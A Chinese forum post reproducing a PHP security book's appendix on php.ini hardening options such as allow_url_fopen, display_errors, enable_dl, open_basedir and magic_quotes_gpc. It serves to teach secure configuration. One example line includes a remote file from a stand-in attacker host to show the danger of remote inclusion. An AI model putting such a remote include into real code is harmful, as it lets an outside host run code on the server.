设为首页 收藏本站
查看: 1018|回复: 0

[经验分享] php 安全基础 附录 A. 配置选项

[复制链接]

尚未签到

发表于 2015-8-30 11:27:34 | 显示全部楼层 |阅读模式
尽管本书的焦点是在于应用的安全性,但有一些配置选项是任何关心安全的开发者必需熟悉的。PHP的配置会影响你所写代码的行为以及你使用的技巧,必要时你需要稍稍负责一下应用程序以外的东西。  PHP的配置主要由一个名为php.ini的文件所指定。该文件包含很多配置选项,每一项都会对PHP产生非常特定的影响。如果该文件不存在,或者该文件中的某选项不存在,则会使用默认值。
  如果你不知道php.ini文件所在的位置,你可以使用phpinfo( )来确定PHP中对该文件路径的定义:
  
  <?php
  
  phpinfo();
  
  ?>
  
  图A-1 所示的第六行(配置文件(php.ini)路径)显示了php.ini的完整路径。如果只显示了路径(没有文件名),这就意味着PHP无法在所示路径找到php.ini文件。
  该文件包含的自身说明非常好,因此你可以阅读该文件并选择适合你的配置选项。而手册更是详细,所以在你需要某一选项的更多信息时,我推荐访问http://php.net/manual/ini.php
  
  图A-1. phpinfo( ) 函数可用于php.ini文件的定位

  
  
  
  A.1. allow_url_fopen
  正如第六章所示,allow_url_fopen选项允许你如同本地文件一样引用远程资源:
  
  <?php
  
  $contents = file_get_contents('http://example.org/xss.html');
  
  ?>
  
  在第五章中揭示了当它与include或require相结合时的危险性:
  
  <?php
  
  include 'http://evil.example.org/evil.inc';
  
  ?>
  
  我推荐关闭allow_url_fopen选项,除非你的应用需要它。
  
  A.2. disable_functions
  disable_functions选项是非常有用的,它可以确保一些有潜在威胁的函数不能被使用。尽管可以建立规范去禁止使用这些函数,但在PHP配置中进行限制要比依赖于开发者对规范的遵循要可靠得多。
  我建立对附录B列出的函数进行检查,看一下是否要对一些函数进行限制。
  
  A.3. display_errors
  PHP的错误报告可以帮助你发现你所写代码中的错误。当你开发应用时,把错误提示显示出来是取得即时反馈的有效方法,同时也可以加快开发速度。
  在一个产品级的应用中,这一行为会成为一项安全风险。如果它显示错误信息,所有人就可以得知你的应用中的重要信息。
  在产品中你需要关闭display_errors选项。
  
  A.4. enable_dl
  enable_dl选项用于控制dl()函数是否生效,该函数允许在运行时加载PHP扩展。
  使用dl()函数可能导致攻击者绕过open_basedir限制,因此除非有必要,你必须在你的应用中禁止它。
  
  A.5. error_reporting
  很多安全漏洞是由于使用了未初始化的变量或其它随意的编程方法引起的。通过把PHP的error_reporting选项置为E_ALL 或 E_ALL | E_STRICT,PHP就会对上述行为进行提示。这些设置都为报告Notice级别的错误。
  我建议把error_reporting至少设定为E_ALL。(译注:在开发中)
  
  A.6. file_uploads
  file_uploads选项决定了是否允许上传文件。因此,如果你的应用不需要用户上传文件,那么关闭该选项就是最好的选择。
  只是简单地在PHP代码中不对上传文件进行处理是不够的,因为在执行你的代码前,PHP就做了一些工作(如根据相关部据生成$_FILES数组)。
  
  A.7. log_errors
  当log_errors设为有效时,PHP会向error_log配置选项指定的文件中写入所有出错信息。
  当display_errors设为无效时,将log_errors设为有效是很重要的;否则你将无法看到睛出错信息。
  我建议将log_errors设为有效并在error_log设定日志文件所在位置。
  
  A.8. magic_quotes_gpc
  magic_quotes_gpc是一个常用的选项,它目的是防止SQL注入。但出于很多原因,包括它转义输入的方式,证明了它是不完善的。
  它对$_GET, $_POST, 以及 $_COOKIE中的数据使用同样的规则即addslashes( )函数进行处理。从而,它并没有根据你的数据库选用对应的转义函数进行处理。
  基于两个主要的原因,你需要把get_magic_quotes_gpc设为无效:
  首先,它会加大你的输入过滤逻辑的复杂性,这是由于它在执行你的代码前首先对数据进行了编辑。例如,你需要对输入的姓名进行过滤,其逻辑是只允许字母、空格、连词符以及单引号,当magic_quotes_gpc生效时,你必须适应形如O\'Reilly的姓名或者使用stripslashes( )尝试将它恢复原形。这一不必要的复杂性(或者说不严谨的过滤规则)加大了发生错误的可能性,同时,你的输入过滤机制中的缺陷必然会导致安全漏洞。
  其次,它并没有根据你的数据库选用对应的转义函数进行处理。这样,由于它可以抵挡一些低层次或偶发的攻击,掩盖了它是一个糟糕的过滤或转义机制这个事实,从而留下了一个安全漏洞,使你的应用无法抵挡如针对字符集的攻击等更复杂的攻击手段。
  
  A.9. memory_limit
  为防止写得糟糕的脚本占用所有的可用内存,可以使用memory_limit选项对最大内存使用量进行限制(以字节方式或缩写方式如8M指定)。
  尽管最佳的取值是与运行的应用是相关的,我还是建议在大多情况下使用默认值8M。
  memory_limit选项只有在PHP指定了enable-memory-limit方式编译时才会生效。
  A.10. open_basedir
  open_basedir选项会限制PHP只能在它指定的目录中打开文件。尽管它不能取代正确的输入过滤,但该选项能减少利用文件系统相关函数如include及require进行的攻击。
  该选项的值会被当做前缀使用,因此当你想表示指定目录时请小心不要漏了最后的斜杠:
  open_basedir = /path/to/
  
  小提示
  请确认enable_dl选项是关闭的,否则open_basedir的限制可能会被绕过。
  
  A.11. register_globals
  见第二章
  A.12. safe_mode
  见第八章

  

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-106274-1-1.html 上篇帖子: 不重新编译PHP的情况下独立添加扩展 下篇帖子: PHP地区四级联动(thinkphp)
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表